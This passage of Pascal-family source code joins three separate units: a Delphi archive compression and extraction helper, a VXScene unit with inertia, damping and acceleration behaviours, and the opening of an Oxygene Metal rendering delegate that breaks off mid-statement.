StrUnknownArchiveType = 'Unable to determine archive type'; function GetTempDirectory: string; var tempFolder: array[0..MAX_PATH-1] of Char; begin GetTempPath(MAX_PATH, @tempFolder); result := StrPas(tempFolder); end; function CreateTempFile(const AExt:string = ''): string; // Creates a temporal file and returns its path name var TempFileName: array [0..MAX_PATH-1] of Char; begin if GetTempFileName(PChar(GetTempDirectory), '~', 0, TempFileName) = 0 then raise EArchiveException.Create(SysErrorMessage(GetLastError)); Result := TempFileName; if (AExt <> '') then begin //Because GetTempFileName actually creates the file, ensure we rename it //if we are applying an extension Result := ChangeFileExt(Result, AExt); SysUtils.RenameFile(TempFileName, Result); end; end; function ArchiveClassFromType(const AType: TAbArchiveType): TArchiveClass; begin case AType of atZip, atSpannedZip, atSelfExtZip: Result := TAbZipArchive; atTar: Result := TAbTarArchive; atGzip, atGzippedTar: Result := TAbGzipArchive; atCab: Result := TEDNCabArchive; atBzip2, atBzippedTar: Result := TAbBzip2Archive; else raise EArchiveException.Create(StrUnknownArchiveType); end; end; function InitArchive(AStream: TStream = nil; AFile: string = ''; AType: TAbArchiveType = atZip): TArchive; begin Result := TArchive(ArchiveClassFromType(AType).CreateFromStream(AStream, AFile)); Result.InitArchive(AType); Result.Load; end; function ArchiveFileType(const AFileName: string): TAbArchiveType; var s: TFileStream; begin s := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite); try Result := AbDetermineArcType(s); finally s.Free; end; end; function CreateFromStream(const AInput: TStream; AName: string = STempZip): TArchive; var lType: TAbArchiveType; begin lType := AbDetermineArcType(AInput); Result := InitArchive(AInput, AName, lType); end; function OpenArchive(const AField: TField; AName: string = STempZip): TArchive; var input: TStream; buf: TArray<byte>; begin input := TMemoryStream.Create; try buf := AField.AsBytes; if Length(buf) > 0 then begin input.Write(buf[0], Length(buf)); SetLength(buf, 0); Result := CreateFromStream(input, AName); Result.OwnsStream := True; // Freeing archive will free input stream end else begin Result := nil; FreeAndNil(input); end; except FreeAndNil(input); FreeAndNil(Result); raise; end; end; function OpenArchive(const AFile: string; AType: TAbArchiveType = atUnknown): TArchive; begin // Result := ArchiveClassFromType(AType).Create(AFile, fmOpenRead) as TArchive; Result := InitArchive(nil, AFile, AType); end; function GetArchiveFileNames(const AField: TField; AIncludePath: boolean = true; AName: string = STempZip): TArray<string>; var a: TArchive; begin a := OpenArchive(AField, AName); try Result := GetArchiveFileNames(a, AIncludePath); finally FreeAndNil(a); end; end; function GetArchiveFileNames(const AFile: string; AIncludePath: boolean = true; AType: TAbArchiveType = atZip): TArray<string>; var a: TArchive; begin a := OpenArchive(AFile, AType); try Result := GetArchiveFileNames(a, AIncludePath); finally FreeAndNil(a); end; end; function GetArchiveFileNames(const AArchive: TArchive; AIncludePath: boolean = true): TArray<string>; var i: integer; item: TAbArchiveItem; names: TStrings; begin names := TStringList.Create; try for i := 0 to Pred(AArchive.Count) do begin item := AArchive.Items[i]; if (Length(item.FileName) > 0) then begin if AIncludePath then names.Add(item.DiskFileName) else names.Add(item.FileName); end; end; Result := Names.ToStringArray; finally FreeAndNil(names); end; end; function ArchiveList(const AField: TField; AName: string = STempZip): TDataSet; begin Result := ArchiveToDataSet(AField, AName, False); end; function ArchiveList(const AFile: string; AType: TAbArchiveType = atZip): TDataSet; var a: TArchive; begin a := OpenArchive(AFile, AType); try Result := ArchiveToDataSet(a, false); finally FreeAndNil(a); end; end; function ArchiveToDataSet(const AField: TField; AName: string = STempZip; ALoad: boolean = True; AFiles: string = ''): TDataSet; var a: TArchive; begin a := OpenArchive(AField, AName); try Result := ArchiveToDataSet(a, ALoad, AFiles); finally FreeAndNil(a); end; end; function ExtractArchiveFile(const AInput: TStream; AFileName: string) : string; var zip : TAbZipKit; stream: TStringStream; begin zip := TAbZipKit.Create(nil); try zip.TarAutoHandle := True; zip.Stream := AInput; stream := TStringStream.Create; try zip.ExtractToStream(zip.Items[0].FileName, stream); Result := stream.DataString; finally stream.Free; end; finally zip.Free; end; end; function ArchiveToDataSet(const AArchive: TArchive; ALoad: boolean = true; AFiles: string = ''): TDataSet; var i: Integer; item: TAbArchiveItem; F: TStringList; FldFileName, FldPath, FldFileSize, FldFileDate: TField; FldAttachment: TBlobField; Attachment: TMemoryStream; procedure AddDef(cds: TClientDataSet; AName: string; ADataType: TFieldType; ASize: integer = 0); begin with cds.FieldDefs.AddFieldDef do begin Name := AName; DataType := ADataType; if ASize > 0 then Size := ASize; end; end; function CreateArchiveCDS: TClientDataSet; begin Result := TClientDataSet.Create(nil); AddDef(Result, SFileName, ftString, 125); AddDef(Result, SPath, ftString, 125); AddDef(Result, SFileSize, ftLargeInt); AddDef(Result, SFileDate, ftDateTime); if ALoad then AddDef(Result, SAttachment, ftBlob); Result.CreateDataSet; Result.LogChanges := False; FldFileName := Result.FieldByName(SFileName); FldPath := Result.FieldByName(SPath); FldFileSize := Result.FieldByName(SFileSize); FldFileDate := Result.FieldByName(SFileDate); if ALoad then FldAttachment := Result.FieldByName(SAttachment) as TBlobField; end; function AddFile(AFile: string): boolean; begin Result := (not Assigned(F)) or (F.IndexOf(AFile) > -1); end; begin Result := CreateArchiveCDS; try if AFiles <> '' then // Return only the requested files begin F := TStringList.Create; F.CaseSensitive := false; F.Sorted := true; F.Delimiter := ';'; F.DelimitedText := AFiles; end else F := nil; Attachment := TMemoryStream.Create; //for item in archive.ItemList.Items do for i := 0 to Pred(AArchive.Count) do begin item := AArchive.Items[i]; if (Length(item.FileName) > 0) and (not item.IsDirectory) and AddFile(item.FileName) then begin Result.Append; FldFileName.AsString := item.FileName; FldPath.AsString := item.DiskPath; FldFileSize.Value := item.UncompressedSize; FldFileDate.AsDateTime := item.LastModTimeAsDateTime; if ALoad then begin Attachment.Clear; AArchive.ExtractToStream(item.FileName, Attachment); FldAttachment.LoadFromStream(Attachment); end; Result.Post; end; end; Result.First; finally FreeAndNil(F); FreeAndNil(Attachment); end; end; procedure CheckArchive(const AInput: string; AName: string = STempZip); var ZipStream : TStringStream; DecodedStream: TMemoryStream; begin ZipStream := TStringStream.Create(AInput); try DecodedStream := TMemoryStream.Create; try DecodeStream(ZipStream, DecodedStream); DecodedStream.Position := 0; CheckArchive(DecodedStream, AName); finally DecodedStream.Free; end; finally ZipStream.Free; end; end; procedure CheckArchive(const AInput: TStream; AName: string = STempZip); var zip: TArchive; begin zip := CreateFromStream(AInput, AName); try if (zip.Count <= 0) then raise EArchiveException.CreateFmt('%s cannot be empty', [ AName ]); finally zip.Free; end; end; function CompressAndEncode(const AInput: string; AName: string = SDefaultName; AType: TAbArchiveType = atZip): string; var lStringStream: TStringStream; begin lStringStream := TStringStream.Create(AInput); try Result := CompressAndEncode(lStringStream, AName, AType); finally lStringStream.Free; end; end; function Compress(AInput: TStream; AName: string = SDefaultName; AType: TAbArchiveType = atZip): TArchive; var lMemStr: TMemoryStream; begin //TArchive will own the stream, so we don't need to worry about freeing it lMemStr := TMemoryStream.Create; CompressToStream(AInput, lMemStr, AName, AType); Result := CreateFromStream(lMemStr); end; procedure CompressToStream(AInput, ADest: TStream; AName: string = SDefaultName; AType: TAbArchiveType = atZip); var lZipKit: TAbZipKit; lStr: TFileStream; lFileName: string; begin lFileName := CreateTempFile(FileExtFromArchiveType(AType)); try lZipKit := TAbZipKit.Create(nil); try lZipKit.ArchiveType := AType; lZipKit.ForceType := True; lZipKit.TarAutoHandle := True; if (ADest.Size > 0) and (AbDetermineArcType(ADest) <> atUnknown) then begin lStr := TFileStream.Create(lFileName, fmOpenReadWrite); try ADest.Position := 0; lStr.CopyFrom(ADest, ADest.Size); finally lStr.Free; end; lZipKit.OpenArchive(lFileName); end else lZipKit.FileName := lFileName; lZipKit.AddFromStream(AName, AInput); lZipKit.Save; finally lZipKit.Free; end; lStr := TFileStream.Create(lFileName, fmOpenReadWrite); try ADest.Position := 0; ADest.CopyFrom(lStr, lStr.Size); ADest.Position := 0; finally lStr.Free; end; finally SysUtils.DeleteFile(lFileName); end; end; function CompressAndEncode(const AInput: TStream; AName: string = SDefaultName; AType: TAbArchiveType = atZip): string; var lStringStr: TStringStream; lArchive: TArchive; begin lArchive := Compress(AInput, AName, AType); lStringStr := TStringStream.Create(''); try lArchive.FStream.Position := 0; EncodeStream(lArchive.FStream, lStringStr); Result := lStringStr.DataString; finally lStringStr.Free; end; end; function UnCompress(const AInput: TStream): string; var lStringStream: TStringStream; //lZipKit: TAbZipKit; lArc: TArchive; begin lArc := CreateFromStream(AInput); try lStringStream := TStringStream.Create; try lArc.ExtractItemToStreamAt(0, lStringStream); Result := lStringStream.DataString; finally lStringStream.Free; end; finally lArc.Free; end; // lZipKit := TAbZipKit.Create(nil); // try // if (AType <> atUnknown) then // begin // lZipKit.ArchiveType := AType; // lZipKit.ForceType := True; // end; // AInput.Position := 0; // lZipKit.TarAutoHandle := True; // lZipKit.Stream := AInput; // lStringStream := TStringStream.Create(''); // try // lZipKit.ExtractToStream(lZipKit.Items[0].FileName, lStringStream); // Result := lStringStream.DataString; // finally // lStringStream.Free; // end; // finally // lZipKit.Free; // end; end; function UnCompress(const AInput: TBytes): string; var lStream: TBytesStream; begin lStream := TBytesStream.Create(AInput); try Result := UnCompress(lStream); finally lStream.Free; end; end; function DecodeAndUnCompress(const AInput: TStream): string; var lMemStream: TMemoryStream; begin lMemStream := TMemoryStream.Create; try DecodeStream(AInput, lMemStream); lMemStream.Position := 0; Result := Uncompress(lMemStream); finally lMemStream.Free; end; end; function DecodeAndUnCompress(const AInput: string): string; var lStringStream: TStringStream; begin lStringStream := TStringStream.Create(AInput); try Result := DecodeAndUncompress(lStringStream); finally lStringStream.Free; end; end; function Encode(const AInput: string): string; overload; var fCompressedStream: TStringStream; fStringStream: TStringStream; begin fCompressedStream := TStringStream.create(AInput); try fStringStream := TStringStream.create(''); try fCompressedStream.Position := 0; EncodeStream(fCompressedStream, fStringStream); Result := fStringStream.datastring; finally FreeAndNil(fStringStream); end; finally FreeAndNil(fCompressedStream); end; end; function Encode(const AInput: TStream): string; overload; var fStringStream: TStringStream; begin fStringStream := TStringStream.create(''); try EncodeStream(AInput, fStringStream); Result := fStringStream.datastring; finally FreeAndNil(fStringStream); end; end; function Decode(const input: string): string; var fWorkStream: TMemoryStream; fEncodedStream: TMemoryStream; begin fWorkStream := TMemoryStream.create; try fWorkStream.size := length(input); move(input[1], fWorkStream.memory^, fWorkStream.size); fWorkStream.position := 0; fEncodedStream := TMemoryStream.create; try DecodeStream(fWorkStream, fEncodedStream); fEncodedStream.position := 0; SetLength(Result, fEncodedStream.size); move(fEncodedStream.memory^, Result[1], fEncodedStream.size); finally FreeAndnil(fEncodedStream); end; finally FreeAndNil(fWorkStream); end; end; function DecodeBytes(const input: string): TBytes; var lInput: TStringStream; lOutput: TBytesStream; begin lInput := TStringStream.Create; try lInput.WriteString(input); lInput.Position := 0; lOutput := TBytesStream.Create; try DecodeStream(lInput, lOutput); Result := lOutput.Bytes; SetLength(Result, lOutput.Size); finally lOutput.Free; end; finally lInput.Free; end; end; { TEDNCabArchive } constructor TEDNCabArchive.CreateFromStream(AInput: TStream; const AArchiveName: string); var lFileStream: TFileStream; begin FDeleteFile := False; if (AInput is TFileStream) then FFileName := TFileStream(AInput).FileName else begin FFileName := CreateTempFile; lFileStream := TFileStream.Create(FFileName, fmCreate); try lFileStream.CopyFrom(AInput, AInput.Size); finally lFileStream.Free; end; FDeleteFile := True; end; Create(FFileName, fmOpenReadWrite or fmShareDenyNone); end; destructor TEDNCabArchive.Destroy; begin if FDeleteFile then SysUtils.DeleteFile(FFileName); inherited; end; function FileExtFromArchiveType(AType: TAbArchiveType): string; begin case AType of atZip, atSpannedZip: Result := '.zip'; atSelfExtZip: Result := '.exe'; atTar: Result := '.tar'; atGzip: Result := '.gz'; atGzippedTar: Result := '.tgz'; atCab: Result := '.cab'; atBzip2: Result := '.bz2'; atBzippedTar: Result := '.tbz'; else Result := ''; end; end; { TCustomArchive } constructor TCustomArchive.CreateFromStream(AStream: TStream; const AArchiveName: string); begin inherited; FArcType := AbBrowse.AbDetermineArcType(AStream); end; function TCustomArchive.GetItems(Index: integer): TAbArchiveItem; begin Result := ItemList.Items[Index]; end; procedure TCustomArchive.InitArchive(AType: TAbArchiveType = atUnknown); begin inherited; if AType = atUnknown then AType := AbBrowse.AbDetermineArcType(FInStream); case AType of atUnknown: ; atZip, atSpannedZip, atSelfExtZip: begin TAbZipArchive(self).ExtractHelper := UnzipProc; TAbZipArchive(self).ExtractToStreamHelper := UnzipToStreamProc; TAbZipArchive(self).TestHelper := TestZipItemProc; end; atTar: ; atGzip: ; atGzippedTar: begin TAbGzipArchive(self).TarAutoHandle := True; TAbGzipArchive(self).IsGzippedTar := True; end; atCab: ; atBzip2: ; atBzippedTar: begin TAbBzip2Archive(self).TarAutoHandle := True; TAbBzip2Archive(self).IsBzippedTar := True; end; end; end; type TZipAcc = class(TAbZipArchive); TTarAcc = class(TAbTarArchive); TGZipAcc = class(TAbGzipArchive); TCabAcc = class(TAbCabArchive); TBzip2Acc = class(TAbBzip2Archive); procedure TCustomArchive.LoadArchive; begin inherited; // case FArcType of // atUnknown: ; // atZip, // atSpannedZip, // atSelfExtZip: TZipAcc(self).LoadArchive; // atTar: TTarAcc(self).LoadArchive; // atGzip: TGzipAcc(self).LoadArchive; // atGzippedTar: ; // atCab: TCabAcc(self).LoadArchive; // atBzip2: TBzip2Acc(self).LoadArchive; // atBzippedTar: ; // end; end; procedure TCustomArchive.UnzipProc(Sender: TObject; Item: TAbArchiveItem; const NewName: string ); begin AbUnzip(TAbZipArchive(Sender), TAbZipItem(Item), NewName); end; procedure TCustomArchive.UnzipToStreamProc(Sender: TObject; Item: TAbArchiveItem; OutStream: TStream); begin AbUnzipToStream(TAbZipArchive(Sender), TAbZipItem(Item), OutStream); end; procedure TCustomArchive.SetItems(Index: integer; const Value: TAbArchiveItem); begin ItemList.Items[Index] := Value; end; procedure TCustomArchive.TestZipItemProc(Sender: TObject; Item: TAbArchiveItem); begin AbTestZipItem(TAbZipArchive(Sender), TAbZipItem(Item)); end; end.
// // VXScene Component Library, based on GLScene http://glscene.sourceforge.net // { Standard TVXBehaviour subclasses } unit VXS.Behaviours; interface {$I VXScene.inc} uses System.Classes, System.SysUtils, VXS.VectorTypes, VXS.Scene, VXS.VectorGeometry, VXS.XCollection, VXS.BaseClasses, VXS.Coordinates; type (* Holds parameters for TVXScene basic damping model. Damping is modeled by calculating a force from the speed, this force can then be transformed to an acceleration is you know the object's mass. Formulas : damping = constant + linear * Speed + quadratic * Speed^2 accel = damping / Mass That's just basic physics :). A note on the components : constant : use it for solid friction (will stop abruptly an object after decreasing its speed. linear : linear friction damping. quadratic : expresses viscosity. *) TVXDamping = class(TVXUpdateAbleObject) private FConstant: single; FLinear: single; FQuadratic: single; public constructor Create(aOwner: TPersistent); override; destructor Destroy; override; procedure WriteToFiler(writer: TWriter); procedure ReadFromFiler(reader: TReader); procedure Assign(Source: TPersistent); override; { Calculates attenuated speed over deltaTime. Integration step is 0.01 sec, and the following formula is applied at each step: constant+linear*speed+quadratic*speed^2 } function Calculate(speed, deltaTime: double): double; // Returns a "[constant; linear; quadractic]" string function AsString(const damping: TVXDamping): string; { Sets all damping parameters in a single call. } procedure SetDamping(const constant: single = 0; const linear: single = 0; const quadratic: single = 0); published property Constant: single read FConstant write FConstant; property Linear: single read FLinear write FLinear; property Quadratic: single read FQuadratic write FQuadratic; end; { Simple translation and rotation Inertia behaviour. Stores translation and rotation speeds, to which you can apply accelerations. Note that the rotation model is not physical, so feel free to contribute a "realworld" inertia class with realistic, axis-free, rotation inertia if this approximation does not suits your needs :). } TVXBInertia = class(TVXBehaviour) private FMass: single; FTranslationSpeed: TVXCoordinates; FTurnSpeed, FRollSpeed, FPitchSpeed: single; FTranslationDamping, FRotationDamping: TVXDamping; FDampingEnabled: boolean; protected procedure SetTranslationSpeed(const val: TVXCoordinates); procedure SetTranslationDamping(const val: TVXDamping); procedure SetRotationDamping(const val: TVXDamping); procedure WriteToFiler(writer: TWriter); override; procedure ReadFromFiler(reader: TReader); override; public constructor Create(aOwner: TXCollection); override; destructor Destroy; override; procedure Assign(Source: TPersistent); override; class function FriendlyName: string; override; class function FriendlyDescription: string; override; class function UniqueItem: boolean; override; procedure DoProgress(const progressTime: TVXProgressTimes); override; { Adds time-proportionned acceleration to the speed. } procedure ApplyTranslationAcceleration(const deltaTime: double; const accel: TVector); { Applies a timed force to the inertia. If Mass is null, nothing is done. } procedure ApplyForce(const deltaTime: double; const force: TVector); { Applies a timed torque to the inertia (yuck!). This gets a "yuck!" because it is as false as the rest of the rotation model. } procedure ApplyTorque(const deltaTime: double; const turnTorque, rollTorque, pitchTorque: single); { Inverts the translation vector. } procedure MirrorTranslation; { Bounce speed as if hitting a surface. restitution is the coefficient of restituted energy (1=no energy loss, 0=no bounce). The normal is NOT assumed to be normalized. } procedure SurfaceBounce(const surfaceNormal: TVector; restitution: single); published property Mass: single read FMass write FMass; property TranslationSpeed: TVXCoordinates read FTranslationSpeed write SetTranslationSpeed; property TurnSpeed: single read FTurnSpeed write FTurnSpeed; property RollSpeed: single read FRollSpeed write FRollSpeed; property PitchSpeed: single read FPitchSpeed write FPitchSpeed; { Enable/Disable damping (damping has a high cpu-cycle cost). Damping is enabled by default. } property DampingEnabled: boolean read FDampingEnabled write FDampingEnabled; { Damping applied to translation speed. Note that it is not "exactly" applied, ie. if damping would stop your object after 0.5 time unit, and your progression steps are of 1 time unit, there will be an integration error of 0.5 time unit. } property TranslationDamping: TVXDamping read FTranslationDamping write SetTranslationDamping; { Damping applied to rotation speed (yuck!). Well, this one is not "exact", like TranslationDamping, and neither it is "physical" since I'm reusing the mass and... and... well don't show this to your science teacher 8). Anyway that's easier to use than the realworld formulas, calculated faster, and properly used can give a good illusion of reality. } property RotationDamping: TVXDamping read FRotationDamping write SetRotationDamping; end; { Applies a constant acceleration to a TVXBInertia. } TVXBAcceleration = class(TVXBehaviour) private FAcceleration: TVXCoordinates; protected procedure SetAcceleration(const val: TVXCoordinates); procedure WriteToFiler(writer: TWriter); override; procedure ReadFromFiler(reader: TReader); override; public constructor Create(aOwner: TXCollection); override; destructor Destroy; override; procedure Assign(Source: TPersistent); override; class function FriendlyName: string; override; class function FriendlyDescription: string; override; class function UniqueItem: boolean; override; procedure DoProgress(const progressTime: TVXProgressTimes); override; published property Acceleration: TVXCoordinates read FAcceleration write FAcceleration; end; { Returns or creates the TVXBInertia within the given behaviours. This helper function is convenient way to access a TVXBInertia. } function GetInertia(const AVXSceneObject: TVXBaseSceneObject): TVXBInertia; function GetOrCreateInertia(behaviours: TVXBehaviours): TVXBInertia; overload; function GetOrCreateInertia(obj: TVXBaseSceneObject): TVXBInertia; overload; { Returns or creates the TVXBAcceleration within the given behaviours. This helper function is convenient way to access a TVXBAcceleration. } function GetOrCreateAcceleration(behaviours: TVXBehaviours): TVXBAcceleration; overload; function GetOrCreateAcceleration(obj: TVXBaseSceneObject): TVXBAcceleration; overload; // ------------------------------------------------------------------ implementation // ------------------------------------------------------------------ function GetInertia(const AVXSceneObject: TVXBaseSceneObject): TVXBInertia; var i: integer; begin i := AVXSceneObject.behaviours.IndexOfClass(TVXBInertia); if i >= 0 then Result := TVXBInertia(AVXSceneObject.behaviours[i]) else Result := nil; end; function GetOrCreateInertia(behaviours: TVXBehaviours): TVXBInertia; var i: integer; begin i := behaviours.IndexOfClass(TVXBInertia); if i >= 0 then Result := TVXBInertia(behaviours[i]) else Result := TVXBInertia.Create(behaviours); end; function GetOrCreateInertia(obj: TVXBaseSceneObject): TVXBInertia; begin Result := GetOrCreateInertia(obj.Behaviours); end; function GetOrCreateAcceleration(behaviours: TVXBehaviours): TVXBAcceleration; var i: integer; begin i := behaviours.IndexOfClass(TVXBAcceleration); if i >= 0 then Result := TVXBAcceleration(behaviours[i]) else Result := TVXBAcceleration.Create(behaviours); end; function GetOrCreateAcceleration(obj: TVXBaseSceneObject): TVXBAcceleration; begin Result := GetOrCreateAcceleration(obj.Behaviours); end; // ------------------ // ------------------ TVXDamping ------------------ // ------------------ constructor TVXDamping.Create(aOwner: TPersistent); begin inherited Create(AOwner); end; destructor TVXDamping.Destroy; begin inherited Destroy; end; procedure TVXDamping.Assign(Source: TPersistent); begin if Source is TVXDamping then begin FConstant := TVXDamping(Source).Constant; FLinear := TVXDamping(Source).Linear; FQuadratic := TVXDamping(Source).Quadratic; end else inherited Assign(Source); end; procedure TVXDamping.WriteToFiler(writer: TWriter); var writeStuff: boolean; begin with writer do begin WriteInteger(0); // Archive Version 0 writeStuff := (FConstant <> 0) or (FLinear <> 0) or (FQuadratic <> 0); WriteBoolean(writeStuff); if writeStuff then begin WriteFloat(FConstant); WriteFloat(FLinear); WriteFloat(FQuadratic); end; end; end; procedure TVXDamping.ReadFromFiler(reader: TReader); begin with reader do begin ReadInteger; // ignore Archive Version if ReadBoolean then begin FConstant := ReadFloat; FLinear := ReadFloat; FQuadratic := ReadFloat; end else begin FConstant := 0; FLinear := 0; FQuadratic := 0; end; end; end; function TVXDamping.Calculate(speed, deltaTime: double): double; var dt: double; begin while deltaTime > 0 do begin if deltaTime > 0.01 then begin dt := 0.01; deltaTime := deltaTime - 0.01; end else begin dt := deltaTime; deltaTime := 0; end; speed := speed - dt * ((FQuadratic * speed + FLinear) * speed + FConstant); end; Result := speed; end; function TVXDamping.AsString(const damping: TVXDamping): string; begin Result := Format('[%f; %f; %f]', [Constant, Linear, Quadratic]); end; procedure TVXDamping.SetDamping(const constant: single = 0; const linear: single = 0; const quadratic: single = 0); begin FConstant := constant; FLinear := linear; FQuadratic := quadratic; end; // ------------------ // ------------------ TVXBInertia ------------------ // ------------------ constructor TVXBInertia.Create(aOwner: TXCollection); begin inherited Create(aOwner); FTranslationSpeed := TVXCoordinates.CreateInitialized(Self, NullHmgVector, csVector); FMass := 1; FDampingEnabled := True; FTranslationDamping := TVXDamping.Create(Self); FRotationDamping := TVXDamping.Create(Self); end; destructor TVXBInertia.Destroy; begin FRotationDamping.Free; FTranslationDamping.Free; FTranslationSpeed.Free; inherited Destroy; end; procedure TVXBInertia.Assign(Source: TPersistent); begin if Source.ClassType = Self.ClassType then begin FMass := TVXBInertia(Source).Mass; FTranslationSpeed.Assign(TVXBInertia(Source).FTranslationSpeed); FTurnSpeed := TVXBInertia(Source).TurnSpeed; FRollSpeed := TVXBInertia(Source).RollSpeed; FPitchSpeed := TVXBInertia(Source).PitchSpeed; FDampingEnabled := TVXBInertia(Source).DampingEnabled; FTranslationDamping.Assign(TVXBInertia(Source).TranslationDamping); FRotationDamping.Assign(TVXBInertia(Source).RotationDamping); end; inherited Assign(Source); end; procedure TVXBInertia.WriteToFiler(writer: TWriter); begin inherited; with writer do begin WriteInteger(0); // Archive Version 0 WriteFloat(FMass); FTranslationSpeed.WriteToFiler(writer); WriteFloat(FTurnSpeed); WriteFloat(FRollSpeed); WriteFloat(FPitchSpeed); WriteBoolean(FDampingEnabled); FTranslationDamping.WriteToFiler(writer); FRotationDamping.WriteToFiler(writer); end; end; procedure TVXBInertia.ReadFromFiler(reader: TReader); begin inherited; with reader do begin ReadInteger; // ignore archiveVersion FMass := ReadFloat; FTranslationSpeed.ReadFromFiler(reader); FTurnSpeed := ReadFloat; FRollSpeed := ReadFloat; FPitchSpeed := ReadFloat; FDampingEnabled := ReadBoolean; FTranslationDamping.ReadFromFiler(reader); FRotationDamping.ReadFromFiler(reader); end; end; procedure TVXBInertia.SetTranslationSpeed(const val: TVXCoordinates); begin FTranslationSpeed.Assign(val); end; procedure TVXBInertia.SetTranslationDamping(const val: TVXDamping); begin FTranslationDamping.Assign(val); end; procedure TVXBInertia.SetRotationDamping(const val: TVXDamping); begin FRotationDamping.Assign(val); end; class function TVXBInertia.FriendlyName: string; begin Result := 'Simple Inertia'; end; class function TVXBInertia.FriendlyDescription: string; begin Result := 'A simple translation and rotation inertia'; end; class function TVXBInertia.UniqueItem: boolean; begin Result := True; end; procedure TVXBInertia.DoProgress(const progressTime: TVXProgressTimes); var trnVector: TVector; speed, newSpeed: double; procedure ApplyRotationDamping(var rotationSpeed: single); begin if rotationSpeed > 0 then begin rotationSpeed := RotationDamping.Calculate(rotationSpeed, progressTime.deltaTime); if rotationSpeed <= 0 then rotationSpeed := 0; end else begin rotationSpeed := -RotationDamping.Calculate(-rotationSpeed, progressTime.deltaTime); if rotationSpeed >= 0 then rotationSpeed := 0; end; end; begin // Apply damping to speed if DampingEnabled then begin // Translation damping speed := TranslationSpeed.VectorLength; if speed > 0 then begin newSpeed := TranslationDamping.Calculate(speed, progressTime.deltaTime); if newSpeed <= 0 then begin trnVector := NullHmgVector; TranslationSpeed.AsVector := trnVector; end else begin TranslationSpeed.Scale(newSpeed / Speed); SetVector(trnVector, TranslationSpeed.AsVector); end; end else SetVector(trnVector, NullHmgVector); // Rotation damping (yuck!) ApplyRotationDamping(FTurnSpeed); ApplyRotationDamping(FRollSpeed); ApplyRotationDamping(FPitchSpeed); end else SetVector(trnVector, TranslationSpeed.AsVector); // Apply speed to object with OwnerBaseSceneObject do with progressTime do begin Position.AddScaledVector(deltaTime, trnVector); TurnAngle := TurnAngle + TurnSpeed * deltaTime; RollAngle := RollAngle + RollSpeed * deltaTime; PitchAngle := PitchAngle + PitchSpeed * deltaTime; end; end; procedure TVXBInertia.ApplyTranslationAcceleration(const deltaTime: double; const accel: TVector); begin FTranslationSpeed.AsVector := VectorCombine(FTranslationSpeed.AsVector, accel, 1, deltaTime); end; procedure TVXBInertia.ApplyForce(const deltaTime: double; const force: TVector); begin if Mass <> 0 then FTranslationSpeed.AsVector := VectorCombine(FTranslationSpeed.AsVector, force, 1, deltaTime / Mass); end; procedure TVXBInertia.ApplyTorque(const deltaTime: double; const turnTorque, rollTorque, pitchTorque: single); var factor: double; begin if Mass <> 0 then begin factor := deltaTime / Mass; FTurnSpeed := FTurnSpeed + turnTorque * factor; FRollSpeed := FRollSpeed + rollTorque * factor; FPitchSpeed := FPitchSpeed + pitchTorque * factor; end; end; procedure TVXBInertia.MirrorTranslation; begin FTranslationSpeed.Invert; end; procedure TVXBInertia.SurfaceBounce(const surfaceNormal: TVector; restitution: single); var f: single; begin // does the current speed vector comply? f := VectorDotProduct(FTranslationSpeed.AsVector, surfaceNormal); if f < 0 then begin // remove the non-complying part of the speed vector FTranslationSpeed.AddScaledVector(-f / VectorNorm(surfaceNormal) * (1 + restitution), surfaceNormal); end; end; // ------------------ // ------------------ TVXBAcceleration ------------------ // ------------------ constructor TVXBAcceleration.Create(aOwner: TXCollection); begin inherited; if aOwner <> nil then if not (csReading in TComponent(aOwner.Owner).ComponentState) then GetOrCreateInertia(TVXBehaviours(aOwner)); FAcceleration := TVXCoordinates.CreateInitialized(Self, NullHmgVector, csVector); end; destructor TVXBAcceleration.Destroy; begin inherited; FAcceleration.Free; end; procedure TVXBAcceleration.Assign(Source: TPersistent); begin if Source.ClassType = Self.ClassType then begin FAcceleration.Assign(TVXBAcceleration(Source).FAcceleration); end; inherited Assign(Source); end; procedure TVXBAcceleration.WriteToFiler(writer: TWriter); begin inherited; with writer do begin WriteInteger(0); // Archive Version 0 FAcceleration.WriteToFiler(writer); end; end; procedure TVXBAcceleration.ReadFromFiler(reader: TReader); begin inherited; with reader do begin ReadInteger; // ignore archiveVersion FAcceleration.ReadFromFiler(reader); end; end; procedure TVXBAcceleration.SetAcceleration(const val: TVXCoordinates); begin FAcceleration.Assign(val); end; class function TVXBAcceleration.FriendlyName: string; begin Result := 'Simple Acceleration'; end; class function TVXBAcceleration.FriendlyDescription: string; begin Result := 'A simple and constant acceleration'; end; class function TVXBAcceleration.UniqueItem: boolean; begin Result := False; end; procedure TVXBAcceleration.DoProgress(const progressTime: TVXProgressTimes); var i: integer; Inertia: TVXBInertia; begin i := Owner.IndexOfClass(TVXBInertia); if i >= 0 then begin Inertia := TVXBInertia(Owner[i]); Inertia.ApplyTranslationAcceleration(progressTime.deltaTime, FAcceleration.DirectVector); end else begin TVXBInertia.Create(Owner); //on next progress event this exception won't be raised, because TVXBInertia will be created again raise Exception.Create(ClassName + ' requires ' + TVXBInertia.ClassName + '! (' + TVXBInertia.ClassName + ' was added to the Behaviours again)'); end; end; // ------------------------------------------------------------------ initialization // ------------------------------------------------------------------ // class registrations RegisterXCollectionItemClass(TVXBInertia); RegisterXCollectionItemClass(TVXBAcceleration); finalization UnregisterXCollectionItemClass(TVXBInertia); UnregisterXCollectionItemClass(TVXBAcceleration); end.
namespace MetalExample; uses Metal, MetalKit; interface // Base class for the examples MTKViewDelegates type MetalBaseDelegate = class(MTKViewDelegate) protected //MTKViewDelegate _device : MTLDevice;// id<MTLDevice>; _commandQueue : MTLCommandQueue; // id<MTLCommandQueue>; private growing: Boolean := true; primaryChannel: NSUInteger := 0; colorChannels: array of Single := [1, 0, 0, 1]; const DynamicColorRate: Single = 0.015; protected method makeFancyColor : Color; method drawInMTKView(view: not nullable MTKView); virtual; empty; method mtkView(view: not nullable MTKView) drawableSizeWillChange(size: CGSize); virtual; empty; public constructor initWithMetalKitView(const mtkView : not nullable MTKView);// : MTKViewDelegate; end; // 'Devices and Commands'; // Only Background color MetalRenderer = class(MetalBaseDelegate) protected // Interface method drawInMTKView(view: not nullable MTKView); override; end; implementation method MetalBaseDelegate.makeFancyColor: Color; begin if growing then begin var dynamicChannelIndex: NSUInteger := (primaryChannel + 1) mod 3; colorChannels[dynamicChannelIndex] := colorChannels[dynamicChannelIndex] + DynamicColorRate; if colorChannels[dynamicChannelIndex] ≥ 1 then begin growing := false; primaryChannel := dynamicChannelIndex; end; end else begin var dynamicChannelIndex: NSUInteger := (primaryChannel + 2) mod 3; colorChannels[dynamicChannelIndex] := 